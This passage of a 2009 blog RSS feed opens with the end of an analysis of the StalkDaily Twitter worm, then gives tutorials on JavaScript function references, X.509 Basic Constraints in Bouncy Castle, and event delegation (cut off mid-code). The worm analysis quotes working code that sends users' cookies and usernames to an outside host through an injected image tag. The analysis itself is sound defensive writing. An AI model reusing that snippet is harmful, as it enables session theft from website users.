<pre><code>var cookie;
cookie = urlencode(document.cookie);
document.write("&lt;img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&amp;username=" + username + "'&gt;");
document.write("&lt;img src='http://stalkdaily.com/log.gif'&gt;");</code></pre>
<h2>Other notes</h2>
<p>Obviously central to this problem is the ability of scripts on other domains to run within the scope of another domain simply by being linked to on the page via a <code>script</code> element.  This allows scripts not under the control of the originating domain to be able to access cookies and other information that would not be normally accessible.  </p>
<p>However, this ability also allows useful services such as Google Analytics and other third-party services/APIs such as Google Maps, to work easily across different websites, allowing services to expose their features through a JavaScript API.  Thus, making browsers reject third-party SCRIPT tags would cause serious usability problems; a better idea is to use a Firefox plugin like <a href="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript</a> so that the user can have fine-grained control over issues like this. </p>
<p>Other points of interest when looking at the source code is that the bulk of the code are utility functions.  The actual malicious code only takes up the last third of the file or so.  For example, the function <code>XHConn()</code> is simply a standard cross-browser compatible implementation of <a href="http://en.wikipedia.org/wiki/XMLHttpRequest">XMLHttpRequest</a>, the API used for the Ajax requests necessary to alter the user&#8217;s profile.  Additionally, the <code>urlencode()</code> function is another utility function that allows values like the user&#8217;s cookies and the actual malicious <code>script</code> tag to be properly submitted in the Ajax request.</p>
<p>Lastly, the malicious code is set to be executed 3250 ms after the script is fully-loaded. (line 111)  This is likely to ensure that the DOM is fully loaded and ready to be traversed to find things like the username and authentication token, instead of hooking into an event like <code>window.onload</code>.</p>
<h2>Concluding remarks</h2>
<p>This analysis identifies the following points:</p>
<ol>
<li>The worm spreads by updating your profile <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> to include the malicious script.</li>
<li>Simply viewing the profile of an infected user is suffice to cause your profile to become infected.</li>
<li>Every time you view the profile of an infected user, including your own, the worm will cause you to automatically tweet one of the random messages.</li>
<li>The random tweets from an infected user <strong>do not</strong> appear to contain the malicious code, probably because output here has been protected against that.</li>
<li>The worm steals the cookies you have set for the Twitter.com domain, along with your username, but thankfully no password information is stolen since Twitter does not store that sort of information in cookies.  It also appears to log each visit to an infected user&#8217;s profile.</li>
<li>Visiting a third-party site (such as the StalkDaily website) may infect your Twitter profile if a hidden iframe has been included, pointing towards the profile of an infected user.  This can be hard to detect, so using something the <a href="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript Firefox extension</a> is recommended.</li>
</ol>
<p>Note that this is not a criticism of Twitter itself, as designing any web application is  difficult from a security perspective; it&#8217;s also worthwhile to note that Twitter responded fast to this issue, within hours on a Saturday.  They appeared to have the <a href="http://blog.twitter.com/2009/04/wily-weekend-worms.html">situation under control as of yesterday</a> and had patched the hole as well as being on their way to cleaning up infected users&#8217; profiles.  Understandably they are very upset and I hope they are able to sort the whole issue out.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/04/13/how-the-twitter-stalkdaily-worm-spread-so-fast/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>JavaScript functions: First-class objects</title>
		<link>http://unitstep.net/blog/2009/03/23/javascript-functions-first-class-objects/</link>
		<comments>http://unitstep.net/blog/2009/03/23/javascript-functions-first-class-objects/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 02:55:05 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[tutorials]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=806</guid>
		<description><![CDATA[In JavaScript, functions are first-class objects, meaning that they can be created, manipulated and passed around in the same manner as other objects/variables in JavaScript.  For example, a function can be created, stored in a variable or even be the return value of another function, as seen below:
function getPower(power)
{
  return function(x)
  {
 [...]]]></description>
			<content:encoded><![CDATA[<p>In JavaScript, <a href="https://developer.mozilla.org/En/Core_JavaScript_1.5_Reference/Functions_and_function_scope">functions are first-class objects</a>, meaning that they can be created, manipulated and passed around in the same manner as other objects/variables in JavaScript.  For example, a function can be created, stored in a variable or even be the return value of another function, as seen below:</p>
<pre><code>function getPower(power)
{
  return function(x)
  {
    return Math.pow(x, power);
  }
}

var x3 = getPower(3);
window.alert(x3(3)); // Outputs 27.</code></pre>
<p>In the rather stupid and contrived example above, we make a function <code>getPower()</code> that returns another function which raises the given value to the exponent supplied by calling <code>getPower()</code>.  (This is a bad way to do things for numerous reasons, but is just shown for the sake of providing a simple example)</p>
<p>We then call <code>getPower</code> with a power of 3 and assign the returned function to the variable <code>x3</code>, and the output is as expected.  Defining &#8220;inline&#8221; functions this way and manipulating them is closely associated with the concept of anonymous functions.</p>
<h2>Functions: Copied and passed by reference</h2>
<p>Since functions are objects, and <a href=" http://nefariousdesigns.co.uk/archive/2006/05/object-oriented-javascript/">objects are passed and copied <em>by reference</em></a>, <a href="https://developer.mozilla.org/Talk:En/Core_JavaScript_1.5_Guide/Defining_Functions">the behaviour</a> should be fairly straightforward to those familiar with the concept.  Here&#8217;s a quick example of what I&#8217;m talking about.  Since JavaScript functions can be treated just like plain old objects, this means we can attach arbitrary properties to them &#8211; let&#8217;s see how that relates to making a &#8220;copy&#8221; of a function:</p>
<pre><code>function test() {window.alert("A Test");}
f = window.test;
window.test.aProperty = 'Hello!';
window.alert(f.aProperty); // Outputs "Hello!"

f.aProperty = 'Goodbye!';
window.alert(window.test.aProperty); // Outputs "Goodbye!"</code></pre>
<p>The key here is that the expression <code>f = window.test;</code> doesn&#8217;t make a complete copy of the function; instead it just ensures that the variable <code>f</code> will point at the same function object as <code>window.test</code>.  So expressions that modify the underlying function object and its data will reflect in both <code>window.test</code> <strong>and</strong> <code>f</code>.  Just think of those two variables as being different ways of accessing the same underlying data.</p>
<p>But let&#8217;s consider another example: <strong>What happens if we make a copy of a function and then redefine the original?</strong></p>
<pre><code>function test() {window.alert("A Test");}

f = window.test;
f(); // "A Test"

// Redefine the original function.
test = function() {window.alert("A changed test");};

f(); // Still "A Test"!
window.test(); // "A changed test"</code></pre>
<p>The results are a bit strange &#8211; it appears that when we redefine <code>test</code>, the changes <strong>are not reflected</strong> in the copy we created in variable <code>f</code>! Why is this?</p>
<p>Closer inspection yields the following answer: <strong>We were not actually redefining the function pointed to by <code>test</code></strong>.  Instead, we created a new <a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Objects/Function"><code>Function</code></a> object in memory and then &#8220;pointed&#8221; <code>test</code> at this new function.  The old function, formerly referenced by <code>test</code>, is still referenced by the variable <code>f</code> so that is why it continues to invoke that code.</p>
<p>This is illustrated by the following diagrams.  In the first, the original function has been defined and two variables refer to it.</p>
<p class="image">
<img src="http://unitstep.net/wordpress/wp-content/uploads/2009/03/javascript-function-1.png" alt="javascript-function-1" title="javascript-function-1" width="272" height="75" class="alignnone size-full wp-image-815" />
</p>
<p>In the second diagram, we have created a new function and altered the variable <code>test</code> to refer to it; however the variable <code>f</code> still refers to the original function.  Thus, the important thing to note is that when using the assignment operator for functions, they are copied by reference.</p>
<p class="image">
<img src="http://unitstep.net/wordpress/wp-content/uploads/2009/03/javascript-function-2.png" alt="javascript-function-2" title="javascript-function-2" width="280" height="130" class="alignnone size-full wp-image-816" /><br />
The original function is still referenced by <code>f</code>
</p>
<h2>Where this matters</h2>
<p>This point has relevance when talking about event handlers.  Typically, when we bind functions to a specific events this involves copying a function reference over to some other variable or property.  Whether we directly do this using <a href="http://www.quirksmode.org/js/events_tradmod.html">traditional event registration</a> by using an expression like <code>element.onclick = someFunction</code> or whether it&#8217;s done using jQuery&#8217;s <a href="http://docs.jquery.com/Events">Event Helpers</a>, the effect is the same.</p>
<p>This means that after assigning the event handler, <strong>we cannot simply modify the original function to make changes to how the event handler works</strong>.  This is because when we assign a new function the old one will still be referenced by the event handler.  The proper way to do this at runtime would be simply to register the new function to the event and deregister the old one.</p>
<p>Another way to think of it is that you can often register anonymous functions to events; since they are anonymous you won&#8217;t have a reference to them after you assign them to the event handler so there is no way to modify them after the fact.  This same logic applies equally when assigning non-anonymous functions to events.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/03/23/javascript-functions-first-class-objects/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using the Basic Constraints extension in X.509 v3 certificates for intermediate CAs</title>
		<link>http://unitstep.net/blog/2009/03/16/using-the-basic-constraints-extension-in-x509-v3-certificates-for-intermediate-cas/</link>
		<comments>http://unitstep.net/blog/2009/03/16/using-the-basic-constraints-extension-in-x509-v3-certificates-for-intermediate-cas/#comments</comments>
		<pubDate>Tue, 17 Mar 2009 03:15:36 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[X.509]]></category>
		<category><![CDATA[certificates]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[guides]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[pki]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[bouncy castle]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[extensions]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=773</guid>
		<description><![CDATA[It&#8217;s not often that you&#8217;ll be creating your own X.509 certificates for a web server, since any certificates that you create (self-signed or signed by your own CA) will not be trusted by most browsers (IE, Firefox, etc.) since they were not signed by one of the many Certificate Authorities (CAs) that have been automatically [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s not often that you&#8217;ll be creating your own X.509 certificates for a web server, since any certificates that you create (self-signed or signed by your own CA) will not be trusted by most browsers (IE, Firefox, etc.) since they were not signed by one of the many Certificate Authorities (CAs) that have been automatically trusted by the browser.  If you do decide to use one of these certificates on your web server, you&#8217;ll have to navigate through <a href="http://blog.ivanristic.com/2008/04/firefox-3-ssl-i.html">a Byzantine series of screens to &#8220;confirm&#8221; that you trust the server&#8217;s certificate</a>.  (Though this is annoying, it may be ultimately beneficial in today&#8217;s era of phishing and other malicious behaviour.)</p>
<h2>A bit of background</h2>
<p>However, what I want to discuss today relates to <em>certificate chains</em>.  At the top of every certificate chain is a <strong>root CA</strong>, whose certificate is <em>self-signed</em>.  This sort of certificate can be considered a &#8220;God certificate&#8221; because it essentially says, <em>&#8220;Trust me, because I say so&#8221;</em>.  As you can imagine, that&#8217;s not much of an argument for trusting someone, so that is why your browser has a list of <em>default root CAs</em> that it automatically trusts.  </p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2009/03/basic-constraints-0.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/03/basic-constraints-0-300x207.jpg" alt="basic-constraints-0" title="basic-constraints-0" width="300" height="207" class="alignnone size-medium wp-image-775" /></a><br />
Some default trusted CAs in Firefox.
</p>
<p>These root CAs are owned and operated by companies that are in the business of <em>issuing certificates</em> to other people for use on their servers.  They have been added to the default trusted list of most browsers so that an end user doesn&#8217;t need to manually add all of them; doing so would be a usability nightmare.  Essentially, these root CAs provide a <strong>trust anchor point</strong>, as not only are they trusted, but <em>any certificates they issue will also be automatically trusted by the browser</em>.  Attempting to visit a HTTPS/SSL website that does not have a trusted certificates results in a <a href="http://jeremy.visser.name/2008/01/26/firefox-3-ssl-error/">nasty warning from modern browsers</a>.</p>
<p>Rarely is the root CA certificate directly used for a web server, but instead it is used to <strong>sign or issue other certificates</strong> that are then used on a web server to confirm its identity and provide for secure end-to-end communication.</p>
<p>As you can imagine, operating a CA is an immense responsibility, so that is why these default lists have been setup: Essentially these companies have to vet entities that purchase certificates from them, to make sure they actually own the domain that they are trying to buy a certificate for, otherwise phishing would become too easy!  Even so, these companies sometimes still have <a href="http://www.win.tue.nl/hashclash/rogue-ca/">lapses due to use of outdated technologies and poor security practices</a>, but that is another complicated issue for another day.</p>
<h2>Issuing a certificate &#8211; An example</h2>
<p>The act of <strong>issuing a certificate</strong> essential entails a CA using its public-private key pair to sign the contents of the certificate that is being issued.  This ties the identity information in the certificate to its key pair and provides confirmation that the CA has affirmed the authenticity of the certificate, I.E., that it has truly issued this certificate and that it has not been forged.</p>
<p>Going back to a certificate chains, it was previously mentioned that the root CA certificate is at the top of the chain.  Any certificates it issues are directly below it, so if these certificates are directly used on a web server, then the chain is of length two.  However, certificate chains can be longer.  If a certificate chain is longer than two, then this indicates the presence of an <strong>intermediate CA</strong>.</p>
<p>An intermediate CA is a CA that does not have a self-signed certificate but still has the capability to issue certificates that are trusted.  For an example of the root CA to intermediate CA relationship, we can look at the certificate chain returned from <a href="https://mail.google.com">https://mail.google.com</a>:</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2009/03/basic-constraints-1.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/03/basic-constraints-1-254x300.jpg" alt="basic-constraints-1" title="basic-constraints-1" width="254" height="300" class="alignnone size-medium wp-image-785" /></a><br />
The Root CA certificate from VeriSign, an X.509 v1 certificate.
</p>
<p>Above we see the <em>root CA certificate</em>, a self-signed certificate created/issued by <strong>VeriSign</strong>.  I&#8217;ve highlighted the fact that it is an X.509 <strong>version 1</strong> certificate, which also means it doesn&#8217;t have any <strong>certificate extensions</strong>.  This may not mean much right now, but we&#8217;ll get back to it soon.</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2009/03/basic-constraints-2.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/03/basic-constraints-2-254x300.jpg" alt="basic-constraints-2" title="basic-constraints-2" width="254" height="300" class="alignnone size-medium wp-image-787" /></a><br />
The Intermediate CA certificate from Thawte, an X.509 v3 certificate.
</p>
<p>This next shot shows the <em>intermediate CA certificate</em> that was issued by the root CA.  This certificate has been issued to <strong><a href="http://en.wikipedia.org/wiki/Thawte">Thawte</a></strong>, a company coincidentally founded by Mark Shuttleworth, the South African man behind Canonical/Ubuntu.  Thawte was acquired by VeriSign during the dot-com craze for US $575 million.</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2009/03/basic-constraints-3.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/03/basic-constraints-3-254x300.jpg" alt="basic-constraints-3" title="basic-constraints-3" width="254" height="300" class="alignnone size-medium wp-image-788" /></a><br />
The &#8220;Basic Constraints&#8221; extension of the intermediate CA.
</p>
<p>We can clearly see that this certificate is an X.509 <strong>version 3</strong> certificate, meaning it does support certificate extensions.  One of its extensions is a <strong><a href="http://www.alvestrand.no/objectid/2.5.29.19.html">Basic Constraints</a></strong> extension, which has been set to signify that this is indeed a Certificate Authority.  It also specifies one other parameter, which is the maximum number of intermediate CAs allowed <em>beneath</em> this one in the certificate chain hierarchy.  Since this value is set to 0, this means this intermediate CA <strong>cannot</strong> issue any more CA certificates, but instead can only issue <strong>client certificates</strong>.  Any attempt will to use a client certificate from this CA as a CA or signing certificate will fail, when consumed by a conforming client.</p>
<h2>The client certificate</h2>
<p>The last screenshot shows the <strong>client certificate</strong>, which is the last certificate in the chain.  This is the certificate that is used by the server at <code>mail.google.com</code> to secure HTTPS traffic, and as we can see, it is also an X.509 v3 certificate (has extensions) and one of those extensions is the &#8220;Basic Constraints&#8221; extension.  This time it is set to indicate that this is <strong>not</strong> a CA certificate.</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2009/03/basic-constraints-4.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/03/basic-constraints-4-254x300.jpg" alt="basic-constraints-4" title="basic-constraints-4" width="254" height="300" class="alignnone size-medium wp-image-789" /></a><br />
The Basic Constraints of the client certificate, indicating it is <strong>not</strong> a CA certificate.
</p>
<h2>Basic Contraints &#8211; Why it&#8217;s needed</h2>
<p>The &#8220;<strong>Basic Constraints</strong>&#8221; extension is one way for a CA to control the usage of the certificates it issues.  For instance, when the root CA certificate in the example above issued the intermediate CA certificate, it set the Basic Constraints extension to signify that:</p>
<ul>
<li>The issued certificate is for a Certificate Authority, i.e. an intermediate CA.</li>
<li>This certificate <strong>may not</strong> be used to create further CA certificates</li>
</ul>
<p>In turn, the intermediate CA certificate was used to create the client certificate for <code>mail.google.com</code>, and it attached a Basic Constraints extension to signify that this certificate <strong>was not</strong> a CA certificate.  By doing this, it was indicating that this certificate should not be used to sign/create further certificates.</p>
<p>This is necessary because of the how trust relationship works in X.509 PKI.  Someone who trusts the root CA implicitly trusts all the intermediate CAs, and then by extension, all the client certificates issued by those intermediate CAs! (Note how this creates a single point-of-failure at the root CA as well)</p>
<p>If the CA could not control what the certificates it issued were used for, then someone could purchase a VeriSign certificate and use it to sign/create other certificates which would also be trusted by default! Clearly, this is not desirably from a security or financial point of view, if you are VeriSign.  By using extensions such as the Basic Constraints one, the signing CA can enact fine-grained control over how the certificate is used.  If the client certificate was used to sign another certificate, that certificate would be rejected by a browser that conformed to the X.509 v3 specifications.</p>
<h2>The Grey Area</h2>
<p>However, we run into a &#8220;grey area&#8221; of sorts when faced with a certificate that <strong>does not have a Basic Constraints extension</strong>.  In this case, it is not indicated whether this is a CA certificate or not.  How do the browsers respond in this scenario? In this case, it seems to depend on whether the CA is a root CA or an intermediate one.</p>
<p>For root CA certificates, it seems that the Basic Constraints extension is not required in order for the CA certificate to be viewed as valid from the browser&#8217;s point of view.  (I&#8217;ve observed this in Firefox and Internet Explorer)  This most likely stems from the fact that there are root CAs that were created and put into operation well before X.509 v3 extensions were in wide use.  The VeriSign root CA in our example is an X.509 v1 certificate with a starting validity date of 1996-01-28.</p>
<p>However, for intermediate CAs, it seems that the Basic Constraints extension <strong>is required</strong> if you want things to work, at least in Firefox and Internet Explorer.  I encountered this situation when working with a Private Root CA of my own.  I was trying to create an intermediate CA (without any Basic Constraints extension) from this root CA, and was running into problems when using this intermediate CA to create client certificates.  Any of the client certificates from the intermediate CA were being essentially rejected by the browser when attempting to visit the website they were being used for.</p>
<p>Because this was a &#8220;grey area&#8221;, the results were mixed.  In Firefox, the site would load correctly, however when attempting to view the certificate chain (by double-clicking the lock icon in the lower right), only the client certificate could be viewed, not the fully certificate chain.  Internet Explorer would show the full certificate chain but simply failed to load the page.  Neither browser gave any indication as to why things were failing.</p>
<p>However, once I created an Intermediate CA with a Basic Constraints extension set to explicitly signify that this was indeed a CA, everything worked as expected.  I don&#8217;t believe this is well-documented, though this is understandable since most people will not be creating their own Private CAs unless it&#8217;s for a very specialized purpose.</p>
<h2>How to do this using the Bouncy Castle APIs</h2>
<p>I&#8217;ve talked about the <a href="/blog/2008/10/27/extracting-x509-extensions-from-a-csr-using-the-bouncy-castle-apis/">Bouncy Castle Java APIs</a> before, and they have been an invaluable resource for simplifying the creation of a Private CA and for issuing certificates.</p>
<p>When issuing a certificate it&#8217;s fairly easy to set the Basic Constraints extension to indicate you want the certificate to be a CA certificate.  First, take a look at this <a href="http://www.bouncycastle.org/wiki/display/JA1/X.509+Public+Key+Certificate+and+Certification+Request+Generation">guide to under the fundamentals of certificate creation</a> with the Bouncy Castle APIs, then look at this code fragment:</p>
<pre><code>private static final int NUM_ALLOWED_INTERMEDIATE_CAS = 0;
...

// Construct the certificate.
final X509V3CertificateGenerator certGen = new X509V3CertificateGenerator();

...

// Need this extension to signify that this certificate is a CA and
// can issue certificates. (Extension is marked as critical)
certGen.addExtension( X509Extensions.BasicConstraints, true, new BasicConstraints(
  NUM_ALLOWED_INTERMEDIATE_CAS ) );

...

final X509Certificate intermediateCaCert = certGen.generate( signingCaPrivateKey, "SunRsaSign" );</code></pre>
<p>By doing this you ensure that the intermediate CA certificate has the proper Basic Constraints extension to work correctly with modern web browsers.</p>
<h2>Conclusion</h2>
<p>I hope you found this helpful.  Certainly if you&#8217;re here, you&#8217;ve been puzzled over the same issues that I struggled through!</p>
<h3>References</h3>
<ol class="note less">
<li><a href="http://www.bouncycastle.org/wiki/display/JA1/X.509+Public+Key+Certificate+and+Certification+Request+Generation">X.509 Public Key Certificate and Certification Request Generation</a></li>
<li><a href="http://www.alvestrand.no/objectid/2.5.29.19.html">OID 2.5.29.19 &#8211; Basic Constraints</a></li>
<li><a href="http://www.oid-info.com/get/2.5.29.19">OID Repository &#8211; basicConstraints(19)</a></li>
</ol>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/03/16/using-the-basic-constraints-extension-in-x509-v3-certificates-for-intermediate-cas/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>JavaScript Event Delegation</title>
		<link>http://unitstep.net/blog/2009/02/19/javascript-event-delegation/</link>
		<comments>http://unitstep.net/blog/2009/02/19/javascript-event-delegation/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 03:47:44 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[XHTML]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[events]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[user interface]]></category>
		<category><![CDATA[event delegation]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=720</guid>
		<description><![CDATA[JavaScript Event Delegation is a technique you may have heard of.  It&#8217;s a different way of using event handlers that offers clear benefits and is becoming more popular amongst web developers.  I&#8217;ll give a brief overview of event delegation in JavaScript, along with why you should consider it.  Note that this tutorial [...]]]></description>
			<content:encoded><![CDATA[<p>JavaScript Event Delegation is a technique you may have <a href="http://www.danwebb.net/2008/2/8/event-delegation-made-easy-in-jquery">heard of</a>.  It&#8217;s a different way of using event handlers that offers clear benefits and is becoming more popular amongst web developers.  I&#8217;ll give a brief overview of event delegation in JavaScript, along with why you should consider it.  Note that this tutorial will use the great <a href="http://jquery.com">jQuery</a> library (v. 1.3.1) for most examples.</p>
<h3>Delegation</h3>
<p><a href="http://en.wikipedia.org/wiki/Delegation_pattern">Delegation</a> is a fairly well-known design pattern.  In short, it is a way for a method to produce its result simply by calling a method on another object, thus <em>delegating</em> responsibility to that object to provide the functionality needed by the method.  For example, a <code>Cashier</code> object could store a delegate object called <code>Calculator</code>.  Calling <code>Cashier.addToTotal(value)</code> would simply delegate to the contained object, calling <code>Calculator.addToTotal(value)</code>.  </p>
<p>How is delegation different than <em>inheritance</em>?  With inheritance, the subclass inherits all of the functionality/behaviour of the parent class.  You may not want or need this; in the preceding example, it would not make sense to have <code>Cashier</code> extend from <code>Calculator</code> simply because we wanted the <code>addToTotal()</code> behaviour/functionality.  Delegation allows the behaviour advertised by a certain object/class to be provided by another.</p>
<h3>Traditional Event Handling</h3>
<p>In order to understand event delegation in JavaScript, we should first look briefly at how events are handled traditionally.  When I talk of <em>traditional event handling</em>, I am referring to the model that most will know.  In this model, functions are <strong>individually</strong> bound to events of certain elements.  For example, to make all links turn bold upon clicking them (and prevent them from being followed), we could use some JavaScript like this:</p>
<pre><code>window.onload = function()
{
  links = document.getElementsByTagName('a');
  for (var i = 0; i &lt; links.length; ++i)
  {
    links[i].onclick = makeBold;
  }

}

function makeBold()
{
  this.style.fontWeight = 'bold';
  return false;
}</code></pre>
<p>The key point with this example is that the function <code>makeBold()</code>, our <em>event handler</em>, is <strong>bound to each and every</strong> <code>a</code> element.  From a resource point of view, this is may be a bad thing because the more event handlers that are attached, the more memory that is used, in general.</p>
<p>Of course, I promised I&#8217;d be using jQuery, and doing so cleans up the above code substantially, as well as making it cross-browser compatible: (Besides adding a ton of other abilities and making life easier)</p>
<pre><code>jQuery(function()
{
  jQuery('a').click(makeBold);
});

function makeBold(e)
{
  e.preventDefault();
  jQuery(this).css('font-weight', 'bold');
}</code></pre>
<p>While this code is cleaner, it still does basically the same thing as above, that is, the event handler function <code>makeBold()</code> is bound to <strong>each</strong> matched element, that is, each <code>a</code> element.</p>
<p>As a final note, don&#8217;t confuse my use of the term <em>traditional</em> with <a href="http://www.quirksmode.org/">Peter-Paul Koch&#8217;s</a> excellent guide to JavaScript event registration, where he uses the term <a href="http://www.quirksmode.org/js/events_tradmod.html"><em>traditional</em> to refer to one <em>method</em> of event registration</a>, distinct from inline registration and the later <a href="http://www.w3.org/" class="ubernym uttInitialism"><acronym class="uttInitialism" title="World Wide Web Consortium">W3C</acronym></a> and Microsoft &#8220;Advanced&#8221; event registration models.</p>
<h3>Event handling using delegation</h3>
<p>By contrast, <strong>event delegation</strong> uses a single (or comparatively few) event handlers to implement the behaviour required.  This takes advantage of two key features of JavaScript events, namely <strong><a href="http://www.quirksmode.org/js/events_order.html#link3">event bubbling</a></strong> and the <strong><a href="http://docs.jquery.com/Events/jQuery.Event#event.target">target event</a></strong>.</p>
<p><strong>Event bubbling</strong> is a model for how events take place on the page.  It grew out of a need to resolve the order in which events were triggered on ancestor and descendant elements.  For example, assume that I have two event handlers, one attached to the &#8220;click&#8221; event of a <code>div</code> and another attached to the &#8220;click&#8221; event of an <code>a</code> element <strong>within</strong> that <code>div</code>.  If I click the <code>a</code> element, which event fires first?  Event bubbling is one way to solve that question: It states that the event on the <strong>inner</strong> element happens <em>first</em>, and then the event &#8220;bubbles&#8221; upwards to trigger events on ancestor or container elements.  There is another opposing model that works in the opposite way, but bubbling seems to be better supported and is more relevant for this article.</p>
<p>Here&#8217;s a crude diagram of event bubbling, using a pseudo-<a href="http://www.w3.org/TR/CSS21/box.html"><acronym class="uttInitialism" title="Cascading Style Sheets">CSS</acronym> box model</a> of sorts:</p>
<p class="image">
<img src="http://unitstep.net/wordpress/wp-content/uploads/2009/02/javascript-event-delegation.png" alt="Event Bubbling Diagram" title="Event Bubbling Diagram" width="302" height="228" class="size-full wp-image-747" /><br />
Event bubbling diagram
</p>
<p>The <strong>event target</strong> is the DOM element that issued the event, or the originating element.  This is why I believe it&#8217;s a confusing term, since it would make more sense to called it the <em>event source</em>.  But I digress.  The <a href="https://developer.mozilla.org/En/DOM/Event">event object</a>, passed to an event handler as an argument (or available via <code>window.event</code>, though jQuery normalizes this) contains a property, <code>event.target</code>, that allows you to get the reference to the &#8220;target&#8221; element that the event started bubbling up from.</p>
<h3>How it&#8217;s implemented</h3>
<p>All of this is typically accomplished by registering a single event handler to a &#8220;container&#8221; element that holds all of the elements we wish to react to events for.  When an event is triggered on one of the inner elements, it &#8220;bubbles up&#8221; to the container element, where it triggers the event handler function.  From there, we can inspect the source of the event (confusingly called the <em>event target</em>) and then react accordingly.</p>
<p>This is where the delegation aspect comes into play.  Since the container element may hold many inner elements, it is unlikely that we would want the same behaviour for each element when an event was triggered on it.  For example, we might want certain <code>a</code> elements to trigger one action when clicked, while wanting another set of <code>a</code> elements to trigger another action.  We&#8217;d typically differentiate these links by using separate class names or by context and then attaching event handlers as appropriate.</p>
<p>Using event delegation, process is similar, but instead of attaching multiple event handlers we have one on the overall parent element.  When this event handler is triggered, we determine which element triggered the event and then based on this, delegate the remainder of the processing to another function.  An example would be helpful now, as our previous examples with making some text bold weren&#8217;t too useful.  Here&#8217;s the <a href="http://www.w3.org/MarkUp/" class="ubernym uttInitialism"><acronym class="uttInitialism" title="eXtensible HyperText Markup Language - HTML reformulated as XML">XHTML</acronym></a> fragment for the container and elements.</p>
<pre><code >&lt;div class="container"&gt;
&lt;ul class="top"&gt;
  &lt;li&gt;
    &lt;a href="#" class="expandList"&gt;Item A - Click to toggle&lt;/a&gt;
    &lt;ul class="hide"&gt;
      &lt;li&gt;Sub-item 1&lt;/li&gt;
      &lt;li&gt;Sub-item 2&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;a href="#" class="expandList"&gt;Item B - Click to toggle&lt;/a&gt;
    &lt;ul class="hide"&gt;
      &lt;li&gt;Sub-item 1&lt;/li&gt;
      &lt;li&gt;Sub-item 2&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href="#" class="remove"&gt;Item C - Click to remove&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="#" class="remove"&gt;Item D - Click to remove&lt;/a&gt;&lt;/li&gt;
&lt;/div&gt;</code></pre>
<p>And here&#8217;s the JavaScript:</p>
<pre><code>jQuery(function()
{
  jQuery('div.container').click(handleEvent);
});

function handleEvent(e)
{
  // Obtain the source element through event.target.
  var target = jQuery(e.target);

  // Now decide what to do with it.
  if (target.is('a.expandList'))
  {
    // We use Function.call() to set the context for the `this` keyword.
